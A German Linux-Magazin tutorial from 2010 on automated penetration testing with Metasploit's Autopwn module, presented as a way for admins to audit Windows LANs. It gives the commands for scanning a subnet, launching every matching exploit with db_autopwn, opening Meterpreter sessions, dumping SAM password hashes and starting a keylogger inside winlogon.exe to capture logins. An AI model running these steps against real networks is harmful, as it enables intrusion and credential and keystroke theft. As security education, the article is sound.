Aus Linux-Magazin 03/2010

Pentesting mit Metasploit und dem Autopwn-Modul

©Andrew Koh Kien Ting, 123RF.com

Das Security-Framework Metasploit scannt ganze Netzwerke auf Schwachstellen und wird dabei vor allem in Windows-LANs fündig. Indem es zahlreiche Exploits durchprobiert, gibt es Admins und Linux-Advokaten nebenbei gute Argumente für die Migration zu freier Software .

Jedes dritte mittelständische Unternehmen in Deutschland ist bis 2009 Opfer von Angriffen auf Geschäfts- und Betriebsgeheimnisse geworden, titelte “Die Zeit” [1]. Die Anzahl der Angriffe über gehackte Systeme im lokalen Netz des Unternehmens nimmt stetig zu. Diverse Studien belegen, dass die größten Gefahren häufig im eigenen LAN lauern, meist auf unzureichend abgesicherten Windows-Rechnern.

Kein Expertenwissen nötig

Wer sich mit dem umfangreichen Scanner- und Security-Framework Metasploit [2] ein typisches, historisch gewachsenes Windows-Netz ansieht, versteht schnell, dass für erfolgreiche Attacken nicht besonders viel Know-how erforderlich ist. Mit Hilfe von Metasploits Au- topwn-Funktion simuliert der sicherheitsbewusste Admin umfangreiche Angriffe, führt Scans durch, legt die Ergebnisse in einer Datenbank ab und benutzt auf Wunsch gleich die passenden Exploits, um zu versuchen die verwundbaren Systeme zu übernehmen. Optional bindet er dazu externe Scanner wie Amap [3], Nessus oder Openvas [4] ein.

In der vorletzten Ausgabe des Linux-Magazins dienten die Metasploit-Tools zur Analyse von Schadcode in PDF-Dateien [5]. Angreifer nutzten dabei über Javascript-Code eine Schwachstelle in Adobes Reader, um Windows-Systeme zu kompromittieren.

Auf der DVD: Ein ungepatchter PDF-Exploit

Kurz nach Erscheinen des Artikels wurde ein neuer Exploit im Reader
bekannt, den Adobe wahrscheinlich erst nach dem Erscheinen dieses
Magazins patchen wird. Erstaunlicherweise stand für diese
Sicherheitslücke bereits seit Langem ein passendes
Metasploit-Modul [6] bereit.
Das USB-Stick-Image »binary.img« auf der aktuellen DELUG-DVD enthält dieses Modul. Ebenfalls an Bord ist die noch im Dezember erschienene Version des Framework 3.3.3, die als Grundlage fürs automatisierte Pentesting dient. Die Autopwn-Module befinden sich lei- der noch nicht in der neusten Version auf der aktuellen Backtrack- ([7], [8]), wohl aber auf der DELUG-DVD. Wer die folgenden Beispiele nachvollziehen will, hat drei verschiedene Möglichkeiten:

  • Den USB-Stick der DELUG-DVD
  • Die Original-Backtrack-DVD-Version 4 von der Webseite
  • Eine eigene Installation

Die ersten beiden Varianten ermöglichen einen schnellen Start, die dritte Option ist eher für jene Admins geeignet, die häufiger Analysen durchführen, Ergebnisse in Datenbanken längerfristig aufbewahren wollen oder wegen einer Security-Policy sogar müssen. Einzelheiten über das Erstellen einer eigenen Debian-Testplattform und die Schritte für das Übertragen des Image vom USB-Stick auf die Festplatte beschreibt der Kasten “Die Testplattform vorbereiten”.

Die Testplattform
vorbereiten

Metasploit basiert seit Version 3 auf Ruby. Für eine eigenständige Installation braucht es die folgenden Programme. Die finden sich alle in den gängigen Debian-Repositories:

aptitude install ruby ruby1.8-dev librubyrdoc libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems nmap

Eigenständige Installation

Die Datenbank stammt aus dem Paket »mysql-server-5.1«. Empfehlenswert, aber nicht unbedingt notwendig ist ein zusätzlicher Apache-Webserver. PHP Myadmin ermöglicht dem Anwender einen schnellen Überblick auf die Tabellen mit den Ergebnissen. Für den passenden LAMP-Server reichen die folgenden Pakete:

aptitude install mysql-server-5.1 apache2 libapache2-mod-php5 php5 php5-gd php5-mysql libmysqlclient-dev phpmyadmin

Die unkomplizierteste Datenbank ist zweifellos SQlite, auch weil sie alle Informationen auf Datei-Ebene speichert. Aus dem Repository reichen dafür schon »sqlite3« und »lib­ sqlite3-dev«. PostgreSQL ist ebenfalls möglich.

Das USB-Stick-Image

Die Datei für den bootfähigen USB-Stick von der DELUG-DVD findet sich im Image namens »binary.img«. Es ist mit Debian Live erstellt und enthält zusätzlich zum Framework mit den benötigten Tools auch noch viele foren- sische Programme, die frühere Ausgaben des Linux-Magazins beschrieben haben, al- lerdings auf den neuesten Stand gebracht.

Nicht für Windows geeignet

Der Stick sollte mindestens 2 GByte groß sein, »dd if=binary.img of=/dev/sdX« schreibt das Abbild. Der übrige Speicherplatz des Mediums kann als zweite Partition für das Speichern von Daten dienen. Windows XP kann allerdings keine zusätzlichen Partitionen auf USB-Datenträgern verfügbar machen, der Linuxer darf hier also getrost ein Ext-Dateisystem einsetzen.

Aktualisieren

Nach dem Download der Pakete aktualisiert der Admin zunächst
seine Metasploit-Module, am besten erledigt das der Aufruf von
Subversion »svn update« im Projektverzeichnis
»/usr/local/msf3/« für den USB-Stick,
»/pentesting/exploits/framework3/« für die
Backtrack-DVD. Anschließend startet »msfconsole«
die Kommandozeilenversion von Metasploit (siehe Listing 1).

Listing 1:
»msfconsole«

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7968 updated 9 days ago (2009.12.25)

Warning: This copy of the Metasploit Framework was last updated 9 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

Die Meldung zeigt den Start ohne vorheriges Update der Module, die letzte Aktualisierung fand offensichtlich neun Tage zuvor statt. Jetzt lassen sich bereits manuell Exploits testen. Für die automatisierte Variante ist die Datenbank nötig. Erste Informationen liefert »db_driver«:

[*] Active Driver: sqlite
[*] Available: sqlite, mysql

[*] DB Support: Enable the postgresql driver with the following command:
[*] $ gem install postgres-pr

Die Ausgabe listet die verfügbaren Datenbanken, PostgreSQL-Support ist hier noch nicht installiert.

In diversen Tests bemerkten die Autoren des Linux-Magazins, dass sie die Befehle zum Aktivieren der Datenbank ein zweites Mal mit einem anschließendem Neustart von »msfconsole« eingeben mussten. Dies war vor allem dann nötig, wenn Importe aus Openvas oder Amap erwünscht waren. Die Ursache hierfür blieb unklar. Die Befehle lauten: »gem install mysql« für MySQL, »gem install sqlite3-ruby« für den SQlite-Datenbank-Support und »gem install postgres-pr«. Achtung: »db_driver« (ohne Parameter aufgerufen) zeigt Änderungen erst nach einem »exit« und einem Neustart von Msfconsole an:

Database Backend Commands
=========================
Command
-------
db_connect
db_create
db_destroy
db_disconnect
db_driver
Description
-----------
Connect to a database
Create a brand new database
Drop an existing database
Disconnect from the current database instance
Specify a database driver

Metasploit erweist sich hier als recht gesprächig und bringt von Haus aus einige Datenbankbefehle mit.

SQlite und Db_nmap

SQlite ist die Default-Datenbank und verlangt normalerweise keine Aktivierung. Ist eine andere Datenbank angeschaltet, hilft »db_driver sqlite3« beim Wiederherstellen des Standards. Nach der Auswahl des Datenbankservers erstellt der Admin die Datenbank mit den benötigten Tabellen. Das folgende Beispiel legt keinen Wert auf eine spätere Aufbewahrung und nutzt einfach die Standardeinstellungen:

db_create
[*] Database creation complete (check for errors)

Erst jetzt stehen die weiteren Datenbankbefehle, etwa zum Füllen der Tabellen in der Msfconsole, bereit (Listing 2).

Listing 2: Befehle der
Msfconsole

#> help
Database Backend Commands
=========================

Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_hosts List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
db_workspace Switch between database workspaces

Ein wirklich offenes Windows-LAN

Besondere Aufmerksamkeit verdient der Befehl »db_nmap«: Er startet einen Nmap-Scan und füllt die Tabellen mit den gefundenen Ergebnissen. Die »db_import«-Befehle kommen später zum Einsatz. Schnelle Erfolgserlebnisse liefern typische Microsoft-Clients mit deaktivierter Firewall. Dort stehen jedem Angreifer die leicht verwundbaren TCP-Ports 135, 139 oder 445 zur freien Verfügung. Mit »db_nmap -p 135,139,445 192.168.0.0/24« scannt Nmap das gesamte Class-C-Netzwerk auf die zuvor genannten Ports. Er- folgreiche Tabelleneinträge in der Datenbank zeigen die Befehle »db_hosts« und »db_services«(Tabelle 1).

Tabelle 1: »db-services«

Tabelle 1: »db-services«

In »db_hosts« finden sich – je nach Scanparameter – IP, MAC-Adresse und Zeitstempel für jeden gefundenen Host, während »db_services« sogar offene und geschlossene Ports auf den erfassten Systemen enthält. Hat Metasploit offene Ports gefunden, kann der Pentester sie direkt mit dem Modul Autopwn aufrufen. Ohne Parameter gibt »db_autopwn« eine Liste seiner Optionen aus (Listing 3).

Listing 3: Optionen von
Autopwn

#> db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex

Pandora

Lässt der Admin »db_autopwn -t -p -e« los, dann wendet Metasploit alle vorhandenen Exploits auf jeden offenen Port an, der in »db_services« eingetragen ist. Auf ungepatchten Windows-Systemen kommt es dabei durchaus vor, dass die Tools ein System ganz nebenbei mehrfach übernehmen. Verständlich ist auch, dass dieser Vorgang je nach Anzahl der Einträge einige Zeit in Anspruch nehmen kann. Jede geglückte Übernahme zeigt Metasploit bereits während des Scanvorgangs an (Listing 4).

Listing 4: Erfolgreiche
Übernahme

16/39 [0 sessions]): Launching exploit/windows/smb/msdns_zonename against 192.168.1.14:139...
[*] (17/39 [0 sessions]): Launching exploit/windows/smb/ms06_066_nwapi against 192.168.1.14:445...
[*] (18/39 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.1.14:445...
[*] (19/39 [0 sessions]): Launching exploit/solaris/samba/trans2open against 192.168.1.14:139...
[*] (20/39 [0 sessions]): Launching exploit/windows/smb/ms04_031_netdde against 192.168.1.14:139...
[*] Meterpreter session 1 opened (192.168.1.2:46068 > 192.168.1.14:10140)

Nach dem Durchlauf liefert der Sessions-Befehl Auskunft über alle erfolgreichen Verbindungen. Abbildung 1 zeigt fünf Connections auf zwei verschiedene PCs. Die erste Verbindung übernimmt »sessi- ons -i 1« und startet dort:

msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

Eine Besonderheit bei dieser Übernahme ist der Einsatz der Shell namens Meterpreter. Wer die Leistungsfähigkeit der Microsoft-Kommandozeile mit der eines Linux-Systems vergleicht, entwickelt schnell den Wunsch nach einer besseren Umgebung. Die Open-Source-Programmierer von Metasploit haben diesem Wunsch Rechnung getragen: In der Shell liefert der Befehl »help« eine lange Liste aller vorhandenen Befehle.

Abbildung 1: Zwei lokale Windows-Systeme haben sich als mehrfach verwundbar erwiesen - höchste Zeit für ein paar Software-Updates.

Abbildung 1: Zwei lokale Windows-Systeme haben sich als mehrfach verwundbar erwiesen – höchste Zeit für ein paar Software-Updates.

Die bessere Windows-Shell: Meterpreter

Ein guter Anfang ist der Befehl »hash-dump«, der aus den Windows-Systemdateien (»SAM« und »system« in »C:WINDOWSsystem32config«) die Hashwerte und Benutzerkonten für die Rainbow Tables bereitstellt. Der Artikel [9] beschreibt, wie sich daraus Benutzerdaten extrahieren lassen.

Der eingebaute »db_nmap«-Befehl stellt aber nicht die einzige Möglichkeit zur Verfügung, um die aufgespürten Sicherheitslücken an das Autopwn-Modul zu übergeben. In dem folgenden Beispiel wird Openvas den Vulnerability-Check durchführen, wobei die gefundenen Informationen in der MySQL-Datenbank landen sollen.

Aus dem Scan entsteht ein Bericht, der sich in ein ».nbe«-Format exportieren lässt. Metasploit ist über die Funktion »db_import_nessus_nbe« in der Lage, diesen Bericht zu importieren und in der Datenbank für den anschließenden Autopwn-Exploit abzulegen. Dafür braucht es aber zunächst eine MySQL-Datenbank:

db_driver mysql
db_create User:Password@localhost/pentest

Für den USB-Stick reicht es dem Admin, »User:Password« durch »root:linux« zu ersetzen Den Bericht importiert nun beispielsweise »db_import_nessus_nbe /tmp/openvasrep.nbe«. Wer dagegen einen LAMP-Server nutzt, kann die Metasploit-Tabellen auch über PHP Myad- min einsehen (Abbildung 2). Ermittler nutzen derartige Verfahren zur Überwachung von Verdächtigen und um wichtige Beweismittel zu sichern.

Abbildung 2: PHP Myadmin dokumentiert und präsentiert die Scanergebnisse der Langzeitverfolgung. Im Vordergrund die Meterpreter-Shell auf einem kompromittierten Windows.

Abbildung 2: PHP Myadmin dokumentiert und präsentiert die Scanergebnisse der Langzeitverfolgung. Im Vordergrund die Meterpreter-Shell auf einem kompromittierten Windows.

Typischer Anwendungsfall: Keylogger

Für eine erfolgreiche Übernahme soll Metasploit nun einen Keylogger auf Softwarebasis installieren. Der von Linux bekannte Befehl »ps« zeigt die aktiven Prozesse auf dem Windows-Client, siehe Abbildung 2.

Der Anmeldemanager »winlogon.exe« be- sitzt beispielsweise die Prozess-ID 204. »migrate 204« zapft diesen Prozess an. »keyscan_start« startet den Keylogger, der ab sofort die Anmelde-Informationen mit Benutzername und Kennwort aufzeichnet. Zum Abrufen der Daten dient »keyscan_dump«.

Startet der Anwender einen Browser, lie- ßen sich so sämtliche Webaktivitäten in- klusive sensibler Transaktionen wie Ban- king oder auch der Versand verschlüssel- ter E-Mails aufzeichnen.

Amap: Spürhund für versteckte Anwendungen

Dass Security by Obscurity hier auch nicht weiterhilft, zeigt Amap. Die Spezia- lität dieses Scanners ist es, Dienste aufzu- spüren, die nicht auf ihren Standardports laufen. Ein guter Grund für die Macher von Metasploit, auch diesen Scanner in die Reihe der Import-Tools aufzunehmen. Der folgende Amap-Scan scannt die Ports 135 bis 445:

amap -m -o /tmp/scan.amap 192.168.0.20 135-445
db_driver sqlite3
db_destroy
db_create
db_import_amap_mlog /tmp/scan.amap

Weil die Ergebnisse ebenso wie zuvor in der Datenbank landen sollen, schiebt das Kommando die Infos zunächst mit der Option »-o« in eine temporäre Datei. Die in der letzten Zeile mit »db_import_amap_log« importierten Amap-Daten kann der Admin vor dem Start von Autopwn wieder mit »db_hosts« und »db_services« überprüfen.

Der monatliche Patchday ist Augenwischerei

Anbieter proprietärer Software haben es sich offensichtlich zur Gewohnheit gemacht, mit monatlichen Patchdays ihre Sicherheits-Updates bereitzustellen. Dieses Intervall ist sicherlich nicht ausreichend. Das Metasploit-Framework zeigt mit seinen kurzen Reaktionszeiten, dass rasches Handeln möglich und auch notwendig ist.

Eine mit Metasploit und Autopwn selbst erstellte, reproduzierbare Sicherheitsanalyse liefert jedem IT-Leiter aussagekräftige Information zum Stand der eigenen Clients und Server, ohne dazu teure Penetrationstests in Auftrag geben zu müssen. Zusätzlich sorgt die implementierte Datenbankunterstützung für eine chronologische Statistik der Server und die Langzeiterfassung – auf Wunsch auch automatisch. Detailliertes Expertenwissen ist dafür nicht nötig.

Infos

[1] Wirtschaftskriminalität nimmt deutlichzu: Die Zeit, [http://www.zeit.de/wirtschaft/unternehmen/201001/wirtschaftskriminalitaetkpmgstudie]

[2] Metasploit: [http://www.metasploit.com]

[3] Amap: [http://freeworld.thc.org]

[4] Geoffrey Galitz, Nils Magnus, Tim Brown, Spürnase – Schwachstellen mit Openvasaufspüren: Linux-Magazin 11/09, S. 80

[5] Hans-Peter Merkel, Tobias Klein, Markus Feilner, Geisterstunde – Reverse Engineering bei verseuchten PDFs: Linux-Magazin 01/10, S. 68.

[6] Metasploit-PDF-Modul: [http://twitter.com/hdmoore/status/6706530082]

[7] Ralf Spenneberg, Jagdsaison – Netzwerkesauber halten mit Backtrack: Linux-Magazin Sonderheft 01/07, S. 6.

[8] Backtrack Linux: [http://www.backtracklinux.org]

[9] Hans-Peter Merkel, Markus Feilner, Fensterkit Windows Forensik: Linux-Magazin 06/08, S. 38.

Der Autor


Hans-Peter Merkel ist mit dem Schwerpunkt Datenforensik seit vielen Jahren in der Open-Source-Community aktiv. Er bildet auch Mitarbeiter von Strafverfolgungsbehörden in Deutschland und Tansania aus und engagiert sich als Gründer und Vorsitzender bei Freioss und Linux4afrika.

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 4 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben